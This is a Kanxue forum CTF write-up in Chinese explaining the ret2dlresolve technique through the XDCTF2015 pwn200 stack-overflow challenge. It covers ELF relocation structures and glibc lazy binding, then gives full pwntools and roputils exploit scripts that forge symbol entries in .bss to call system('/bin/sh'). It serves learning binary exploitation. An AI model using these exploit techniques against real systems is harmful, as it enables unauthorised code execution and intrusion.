通过一道pwn题详细分析retdlresolve技术

本文为看雪论坛精华文章

看雪论坛作者ID:笔墨



基础知识



本文涉及到的ELF节以及相关结构如下:1、.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位。.rel.plt节相关的Elf32_Rel结构如下:

typedef struct {
    Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
 
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))


以write函数为例,write函数的r_offset=0x0804a01c,r_info=0x607

.got节保存全局变量偏移表,.got.plt节保存全局函数偏移表(即GOT表)。其中.got.plt对应着Elf32_Rel结构中r_offset的值。

可以通过上图命令获得.rel.plt的地址,rel.plt节保存着函数对应.got.plt地址和r_info信息。2、.dynsym节包含了动态链接符号表。Elf32_Sym[num]中的num对应着ELF32_R_SYM(Elf32_Rel->r_info)。根据定义:

ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8


所以,write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。即Elf32_Sym[6]保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7,对应R_386_JUMP_SLOT,write的索引值为6如下图所示:

.dynsym节相关的Elf32_Sym结构如下:

typedef struct
{
    Elf32_Word st_name; // Symbol name(string tbl index)
    Elf32_Addr st_value; // Symbol value
    Elf32_Word st_size; // Symbol size
    unsigned char st_info; // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;


根据所以根据索引6可以找到,Elf32_Sym结构中st_name值:

Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num)

3、.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00间隔。

最终要找到write函数的符号,要先在.dynsym中找到偏移,.dynstr加上0x4c的偏移量,就是字符串write。



题目分析



漏洞程序demo代码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}


也是一个简单的栈溢出,保护只开了NX,栈不可执行,所以需要通过rop来get shell。该漏洞利用涉及到延迟绑定的技术,基础知识如下:

  • GOT表属于数据段,是可写的。表中存储的是指针,PLT属于代码段,其中每一项都存储了三个汇编指令
  • GOT[0]:存放了指向可执行文件动态段的地址
  • GOT[1]:存放link_map结构的地址
  • GOT[2]:存放了指向动态链接器_dl_runtime_resolve()函数的地址


GOT表的布局大致如下:

延迟绑定的过程如下:1、执行put@plt,此时puts函数的GOT表填充的只是下一条指令地址,push reloc_arg=0x0

2、执行puts@plt+11指令,跳转到PLT[0],push GOT[1]的内容,并跳转到GOT[2]上去执行

随后调用_dl_runtime_resolve(link_map, reloc_arg),_dl_runtime_resolve函数中会调用_dl_fixup来完成解析:

glibc-2.23/elf/dl-runtime.c:_dl_fixup()
 
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}


最终效果就是将puts函数的实际地址填充到0x601018处,下次再调用时就可以直接跳转到相应地址执行。

过程大致如下:

retdlresolve的利用过程,主要就是控制上图中的resolver:(1)控制上图中的resolver,即reloc_arg(2)根据reloc_arg,会将.rel.plt基址+reloc_arg获得函数的.got.plt地址(r_offset)和r_info信息(涉及 Elf32_Rel结构)(3)根据r_info,将.dynsym基址 + ((r_info)>>8)*0x10获得Elf32_Sym[(r_info)>>8]->st_name信息(涉及Elf32_Sym结构,结构大小为0x10)(4)根据st_name,将.dynstr基址+st_name得到函数的符号(5)最后通过查找符号得到函数实际运行地址,填入(2)中GOT表地址中

所以就需要伪造(2)、(3)、(4)中的reloc_arg,r_info,st_name这些偏移,使其查找过程都落在可控的区域中(如.bss中)。最终将函数符号伪造成“system”。网上基本都是通过roputils工具直接做题,下面就分析一下工具产生的rop链的执行过程:使用roputils工具产生的rop链如下:

rop = 'A'*offset
read@plt
pop esi; pop edi; pop ebp; ret;
0
.bss
0x64
PLT[0] addr
offset:0x0804a040+0x18-0x8048330=0x1d28


offset是相对于.rel.plt的基址(0x8048330)而言,根据这个偏移找到函数的got表地址和r_info信息。(1)首先在.bss段开辟一个栈空间,起始地址为:.bss=0x0804a040(fake_stack)(2)在返回地址填上read@plt地址,往0x0804a840地址写入构造的数据(3)fake_stack上要构造的有两处:一个是fake_reloc,放在fake_stack+0x18处,第二个是.dynsym信息,存放在fake_stack+0x28处

.bss=0x0804a040 (fake_stack)
rel_plt = 0x08048330
dynsym = 0x080481d8
dynstr = 0x08048278
传入的fake_stack的数据如下:
偏移:内容
0x00:"/bin/sh\x00"
0x08:"AAAAAAAA"
0x10:"AAAAAAAA"
0x18:0x0804a054 // 本来应该是.got.plt的一个地址,这里填入fake_stack 的其中一个地址,完成_dl_fixup会将system地址填入其中
0x1c:p32(r_info) // 0x0804a040+0x28-0x080481d8 = 0x1e90 r_info=(((0x1f90)/0x10)<<8)|7=0x1f907 用于查找函数的符号、
0x20:"AAAAAAAA"
0x28:p32(st_name) p32(0x0) p32(0x0) p32(0x12) //存放.dynsym信息 以0x10单位存储,st_name=0x0804a040+0x38-0x08048278=0x1e00
0x38:"system"


计算过程如下:

exp代码如下:

from pwn import *
context.log_level = 'debug' #不开debug会显示报错
offset = 112
read_plt = 0x080483a0 # read@plt
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret" "pop esi; pop edi; pop ebp; ret;"
plt0_addr = 0x08048380 #plt[0]
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
 
r = process('./xdctf-pwn200')
r.recvuntil('Welcome to XDCTF2015~!\n')
 
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(100)
payload += p32(plt0_addr)
payload += p32(0x1d28)
payload += 'A'*0x4
payload += p32(bss_addr) #需要填充/bin/sh的地址,不然system函数执行的参数是栈中其它数据。具体原因没有细调
#gdb.attach(r)
r.send(payload)
#raw_input()
cmd = "/bin/sh\x00"
 
payload2 = cmd
payload2 += 'A'*0x10
payload2 += p32(0x804a054)
payload2 += p32(0x1e907)
payload2 += 'A'*0x8
payload2 += p32(0x1e00)+p32(0)+p32(0)+p32(0x12)
payload2 += "system\x00"
 
r.send(payload2)
r.interactive()


使用工具的简单式操作:

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
 
context.log_level = 'debug'
binary = './xdctf-pwn200'
 
r = process(binary)
 
rop = ROP(binary)
 
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
# after using read to construct our symtab in .bss + 20, we use dl_resolve to call it
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
#gdb.attach(r)
 
r.send(buf)
 
#raw_input()
# over here we just fill in .bss with the data we need
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
r.send(buf)
 
r.interactive()


这里传入bss_base+20的地址,但实际写入的确实bss_base+0x18的位置,是因为有对齐字节的操作:

def align(self, addr, origin, size):
        padlen = size - ((addr-origin) % size) // 这里对齐了,size=0x8
        return (addr+padlen, padlen)
 
def plt(self, name=None):
        if name:
            return self.offset(self._plt[name])
        else:
            return self.offset(self._section['.plt'][0])
 
def dl_resolve_call(self, base, *args):
        jmprel = self.dynamic('JMPREL')
        relent = self.dynamic('RELENT')
 
        addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
        reloc_offset = addr_reloc - jmprel
 
        buf = self.p(self.plt()) //在这里是plt表头的地址
        buf += self.p(reloc_offset) //REL.PLT表距bss段的偏移
        buf += self.p(self.gadget('pop', n=len(args))) //system 函数的返回地址
        buf += self.p(args) //'/bin/sh\0' 的地址
 
        return buf


看roputils源码可以看到这些函数也是经过了exp代码中的那些计算,使我们可以直接调用。参考链接中:pwn4.fun/2016/11/09/Ret 的利用过程如下:(1)控制eip为PLT[0]的地址,只需传递一个index_arg参数(2)控制index_arg的大小,使reloc的位置落在可控地址内(3)伪造reloc的内容,使sym落在可控地址内(4)伪造sym的内容,使name落在可控地址内(5)伪造name为任意库函数,如system文中的利用过程很详尽,这边只是做一下调试的记录(主要不同时进行了栈的切换,将栈切到.bss+0x800位置,并修改write函数为system进行getshell,而本文的exp是直接修改read函数为system)stage3 中在base_stage中伪造fake_reloc,填入的是write函数的.got.plt以及r_info,并计算该地址距离.rel.plt的偏移,因为函数的GOT表地址就是根据.rel.plt地址+偏移查找获得的。stage4 中对write函数在.dynsym中的st_name进行伪造,因为该查找过程是靠r_info进行计算,所以对r_info进行修改。stage5 相对的st_name已经在我们的控制之中,可以在base_stage区域中一个地址填充write字符串,算出该地址与.dynstr的偏移,将偏移填充到st_name中即可。stage6 只需将write字符串改成system字符串就可以在write的got表中填充system地址,并且调用,实现get shell。


参考链接



github.com/nushosilayer

pwn4.fun/2016/11/09/Ret

rk700.github.io/2015/08

github.com/inaz2/roputi



- End -






看雪ID:笔墨

bbs.pediy.com/user-5898


*本文由看雪论坛 笔墨 原创,转载请注明来自看雪社区




推荐文章++++

* Xposed高级用法 实现Tinker热修复

* 连连看逆向

* Android 4.4 WiFi代理流程

* 从“短信劫持马”的制作来谈App安全

* 入门级加固——3种加固方式学习记录







公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

发布于 2019-11-29 18:36